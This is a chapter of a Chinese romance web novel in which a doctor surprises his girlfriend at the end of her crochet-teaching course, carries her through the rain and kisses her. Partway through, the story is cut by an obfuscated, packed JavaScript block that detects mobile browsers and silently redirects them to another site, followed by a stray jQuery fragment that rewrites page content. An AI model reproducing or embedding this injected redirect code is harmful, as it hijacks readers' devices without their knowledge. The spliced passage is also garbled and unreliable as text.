还是在自己报的一片菜名之中看到孟医生的约会倒计时零天时,姜颂才反应过来,这培训要结束了。
不过她再反应一会儿,发现了一个问题:他少算了一天。她明天回家,至少后天才能约会,倒计时应该还剩一天才对。
她随手往上扒拉一下记录,看到他昨天发的明明还是剩两天。
怎么今天早上发的就变成零天了?
她长摁那条倒计时零天的消息,引用之后在底下打了个问号。
很久之后,他回了她一个句号。
姜颂有点懵,这是什么意思?
再问他就不回了。
累归累,她在课上该讲的技巧却是一点也没落下。今天是最后一天的课程,她收了两天前布置的小作业,挨个检查了一下每个人的问题,分类总结后在课上讲对应的解决方案,决定下午的课用来亲自演示。
也许是因为课程要结束了,今天的学生格外热情,除了问问题之外还拉着她唠了好一会儿家长里短。
等她结束,早就过了吃饭时间,食堂没饭,她只好到周围的一家小面馆里准备解决掉午餐。
她知道某人今天有排班,不过这会儿应该已经下班了。她拨了视频电话过去,却没有人接。
面在这时候端了上来。姜颂眼睛盯着屏幕,心不在焉地吸溜一口面,尝到味道,她挑挑眉。
有点好吃。
姜颂拍了一张面的照片发了过去,配文:【发现一家宝藏小面馆,好好吃,好想给你尝尝。】
他从不会超过五分钟不回她消息,没回就一定是有事没看手机。她等了五分钟,微信还是没收到他的消息,估计是又有什么突发状况加班去了。
连带着这一条,一直到下午去上课之前她都始终没得到回复。
她心里犯着嘀咕,收好手机,专心讲课去了。
下午的课分成两节,中间隔了二十分钟休息时间。
他的电话在这时打来。
被好学的学生们团团围住的姜颂看见那个在她心头萦绕一天的名字,当即对众人说这个电话有点重要,她需要先去接个电话。众人表示理解,纷纷散去。
她拿起手机快步往门口走,准备找个安静点的地方接。急匆匆出门一转身,看到走廊尽头那道熟悉的高挑身影时,她蓦地停住了脚步。
下午的天气不知什么时候变成了多云,外头起了风,楼道两侧的窗户被吹开,夹杂着湿润水汽的空气爆发式涌入。
连日的思念在他抬眼望来的那一刻找到了出口。
孟决明是在楼道里听到和听筒里相同的铃声时发现的她。
几十米的距离,她朝他狂奔而来,一瞬间扑进他怀里。
她环抱着他的腰身,在他怀里仰起头,惊喜到每一个音都拖着调子:“你怎么来了?”
他笑着整理好她刚才跑乱的长发,说:“来接你回家呀。”
她愣了一下,问:“你自己开车过来的吗?”
他嗯一声:“你想吃的那些菜我也做了几个带过来了,剩下的回去做。”
连做饭带开车没六七个小时根本完不成,他为了来见她肯定也没少花时间打扮,怪不得从早上开始他就一直很少回她消息。
“这也太远了,回去还得开四五个小时。”她说,“你怎么没提前告诉我一声啊?”
他摸摸她的脸颊:“我早上告诉你了。”
她迷茫地眨眼:“告诉我了?我怎么不……”
说到一半,她忽地想起了那个倒计时零天以及后来的句号。
反应过来他的意思,她哭笑不得。
“太辛苦了,下次别这样了,我自己回家又丢不了。”
他却问:“开心吗?”
他低着头,黝黑的眼眸里倒映着她的影子,手掌贴在她脸侧,拇指轻轻摩挲着她的脸颊。
她侧过头贴在他胸膛上,小声说:“特别开心。”
“那就不辛苦。”
她在他怀抱里蹭了蹭,这抹熟悉的气息正是她朝思暮想的。
拥抱了一会儿,她依依不舍地分开,把口袋里的房卡给他:“开那么久的车肯定很累,你先回房间休息吧,我把位置发你。我还有一节课,结束我就回去找你,然后我们一起吃饭。”
他往窗外看了一眼,又看她:“傍晚可能会下雨,带伞了吗?”
她摇头。
“我把饭放回去,然后过来等你一起回去。”
“也行,教室后排有空座,你来了可以进来坐。”姜颂看看时间,“我得回去上课了。”
“去吧。”
她往前走出了几步,想起什么,回过头看见站在原地微笑目送她离开的男人。
他今天穿的是她那晚挑选过的第二喜欢的一套,黑色冲锋衣搭配黑灰色牛仔裤,简洁的纯黑色系穿搭掩盖了几分他的温润气质,令他多了几分锐利。
她眉心稍动:“今天特别帅。”
没等他反应,丢下这句的她跑得飞快,转眼人就没影了。
他看着她背影消失的位置哑然失笑。
他先回车上拿了饭盒,拎到姜颂房间。
她房间里没伞,来之前他没注意这边的天气,幸好车上有一把备用的。
他带着伞回到姜颂上课的会议室,在最后一排找了个空位坐下。
大会议室里,她坐在台上低头摆弄手里的针线,额前的刘海自然垂落,被她抬手掖回耳后。她讲解的声音通过扩音器清晰传播到每个角落,中央投影幕布上是她正亲自演示的画面。
红色的线缠绕在她素白纤长的手指上,她右手捏着钩针针柄,勾着线穿梭几下,配着她的重点讲解:“今天有几个同学交上来的作业有个明显的问题,就是每一圈收尾的引拔针不是整齐的一条,而是斜着的,还有的同学引拔针总是收不紧,接下来我演示一下怎么避免这两种情况。”
他猜想,她应该是为了演示效果更好专门选择了红色的线。她总是这么细心。
坐在最后排,他与她中间隔着许多排坐满人的座位。目光越过层层人群,他遥望台上认真工作的姑娘,仿佛穿越过这几年的光阴看到了那时在小镇讲台上辗转的她。
温柔、耐心、专注……散发着独特的魅力。
即使她说当时并不喜欢老师的工作,但他了解她,她一定还是会用尽全力地去备课和讲解,因为她清楚地知道自己身上肩负的责任。
明明自己也身处水深火热,她却总努力地想要让自己的光照到别人,哪怕只有一个。
他在台下满眼都是她,一直为她骄傲。
窗外渐渐下起雨。
五点半下课,姜颂跟大家道了别,工作人员在一旁拍公众号的宣发素材,提出让大家合影留念。
她被围在中间,跟前来欢送的负责人交谈并合影。
他安静地在台下等待,看她跟人说着话,下一秒往他的方向看来,随后那负责人也跟着看了他一眼,似是说了什么,她笑得灿烂。
负责人与姜颂握手后转身离开,偌大的会议室里便只剩下他和她。
她对他招招手,他起身向她走去。离她还有几步的时候,她朝他伸出了一只手,语笑嫣然:“结束了,我们走吧!”
他笑着伸手,手掌完全包裹住她的,两人牵手向外走去。
外头雨下得不大,雨脚却密。政府大门门口灯光很亮,映着夜幕中断断续续的雨丝。
挟着水汽的夜风有些凉,姜颂今天只穿了一件单薄的针织开衫,被风一吹止不住地发抖。
她还没开始后悔今天没多穿点,就感到手被松开,接着整个人被一件宽大的冲锋衣裹了个严实。
“穿好,别感冒了。”他身上剩一件纯白色棉质半袖,一边叮嘱她一边打开伞撑起在头顶。
姜颂将胳膊伸进袖筒,发觉太长了。
他放下伞,帮她挽起袖子,然后重新牵住她露出的左手,拿起伞:“走吧。”
她却拉住他,抬头看看头顶的伞面。
这把伞不大,两个人一起的话,正常撑必然两个人都会淋湿,所以他几乎把所有的伞面都朝她倾斜过来。
姜颂推着他撑伞的那只手将伞面恢复成正常角度:“我也不想你生病。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17286472|194113||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
他与她对视片刻。
“那我背你好吗?你来撑伞。”
“好。”
他将伞交给她,身体蹲下:“上来。”
她欢欢喜喜地趴到他背上,手臂环过他的脖颈,头歪到一侧,在他耳边提醒:“好了。”
孟决明从两侧牢牢扣住她的腿,轻松站起身。
感受到她的轻盈,他微微蹙眉:“好像又瘦了。”
她伏在他肩头,一手撑伞,一手用手机给他照明。他走得慢,却很稳,只是仍无法避免走路动作带来的细微颠簸。
雨点击打在伞面上的杂音有些吵,她想凑到他耳边说话,凑近时她的唇无意蹭过他的耳廓。
原本稳稳当当的步伐微乱了片刻。
他有些无奈的声音伴着雨声传来:“别闹,摔了你怎么办。”
姜颂一本正经地说自己不是故意的,笑嘻嘻地继续凑近:“我刚才是想跟你说我是因为太想你了,茶不思饭不想,所以就瘦啦。”
这么多天异地,对热恋期的他们来说无疑是有些难熬的。虽说这话是她为了调戏他做了些夸张处理的表达,但很想他是真的。
淅沥雨声中,小城的街上偶尔有行人路过,那方黑伞之下是她与他的秘密基地,她尽情地撩拨着他。
他不说话,她就继续趴在他耳边,故意让呼吸洒在他耳朵上,用只有他们两个能听到的声音问他:“你想我吗?”
“嗯。”
“嗯是什么意思?”
她坏心眼地逼问,非要他说出口才肯罢休,这都是在报复他那几天在视频通话中对她连串的“情话攻击”。
他还是不作声,她在他背后偷笑,因为她发现他的耳朵红透了。
线上她都害羞完了,线下该轮到他了。
他当然知道她想听什么,但他没说,因为已经到了招待所门前。
她点到为止,没再为难他了:“这淋不到雨了,放我下来吧。”
他把人放下,接过她手里的伞,抖落水珠后收好,对她道:“房卡在衣服口袋里。”
她往兜里一摸,果然摸到了,拉着他往房间走。
“滴”的一声,房门解锁,她推门进去,他跟在她身后,随手带上门,将伞放在墙角。
她习惯性地去卡槽房卡通电,伸手按下灯光开关,“吧嗒”一声,紧接着她搁在开关上的手还没来得及离开,被人覆着再次按下,又是清脆的“吧嗒”一声。
房间亮起一瞬间复又陷入黑暗,覆在她手背上的大手顷刻间滑到她手腕上攥住,将她的身体翻转过来。
她下意识地贴紧背后的墙壁,迫近的高大身影将她困在他与墙壁之间。
下一秒,她脑后多了一只手掌垫着,迫使她仰头。清冽的气息混合着温热的呼吸瞬间逼近,他的吻落下。
脸颊连着耳根腾地灼烧起来,她忍不住动了一下手腕,他攥得更紧,不轻不重的力道不会让她疼,但刚好能够防止她逃跑。
她本来也没想跑。
只是这个吻承载了他太多的情感,浓烈得如浪潮般朝她涌来,像要将她吞没。
她从未见过这一面的他。
有些急切,有些失控。
她呆在原地愣神,以至于脑海中飞速闪过些零碎的片段,她也没来得及抓住。
她满脑子都是些天马行空的想法,比如:孟医生是不是背着她报了什么恋爱培训班啊……
这个吻来得气势汹汹,却带着温柔眷恋的意味,似是察觉到她的走神,他慢慢停下。
姜颂终于缓过神来。
她把手腕从他掌中挣脱,双手捧住他的脸径直吻上去,回应着他,随后缓慢地闭上眼,仔细感受心跳的混乱。
静悄悄的房间内,只剩下呼吸声以及含吮唇瓣的细微水声。
急迫的吻势渐渐趋于平缓,似在无声地诉说着这段时间的思念。
分开之时,他最后在她唇上蜻蜓点水似的啄吻一下。
在两人均未平稳的紊乱呼吸声中,他用额头与她相抵,终于回答了她的问题:
“特别想你。”